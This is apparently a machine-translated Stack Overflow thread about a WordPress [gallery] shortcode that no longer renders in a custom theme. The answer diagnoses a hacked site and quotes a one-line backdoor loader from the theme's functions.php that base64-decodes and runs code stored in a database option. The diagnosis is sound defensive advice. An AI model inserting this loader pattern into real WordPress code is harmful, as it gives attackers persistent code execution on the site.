默认Wordpress [图库]未显示在自定义主题中

Ern*_*yer 10 php wordpress gallery

一切都很好,直到最近的更新.[gallery]不再显示图像,它看起来也没有包含在代码中.

这是页面的循环:

<?php
    // Start the loop.
    while ( have_posts() ) : the_post();?>
        <article id="post-<?php the_ID(); ?>" <?php post_class(); ?> role="article">
            <h1 class="entry-title"><?php the_title(); ?></h1>
                <div class="entry-content">
                    <?php the_content(); ?>
                </div><!-- .entry-content -->
        </article><!-- #post-<?php the_ID(); ?> -->
<?php   
    // End the loop.
    endwhile;
?>
Run Code Online (Sandbox Code Playgroud)

来自the_content的文本内容正在显示,但内容中的[gallery]未显示或呈现为代码(因此问题不应出现在javascript中).

这里是functions.php文件:http://pastebin.com/vfJpphgt (是的,我已添加了图库的主题支持,但没有更改)

mrg*_*ain 2

您的网站被黑了。

Pastebin 的最后一行是从数据库加载恶意代码: add_action('init', create_function('', implode("\n", array_map("base64_decode", unserialize(get_option("wptheme_opt")))))); ?>

执行的代码会扰乱用于检索图库媒体文件的 WPQuery。这就是为什么它[gallery]被打破了。(实际上这部分你可以很幸运。)

您可以在sucuri.net找到有关此恶意软件的条目。您应该检查服务器上的所有文件是否有可疑行。尽管最有可能的攻击途径是通过 WordPress 漏洞,但您应该更改 WordPress 和服务器上的所有密码。

删除恶意软件后,您可以使用Wordfence等工具清理 WordPress (我与该插件或其作者没有任何关系)。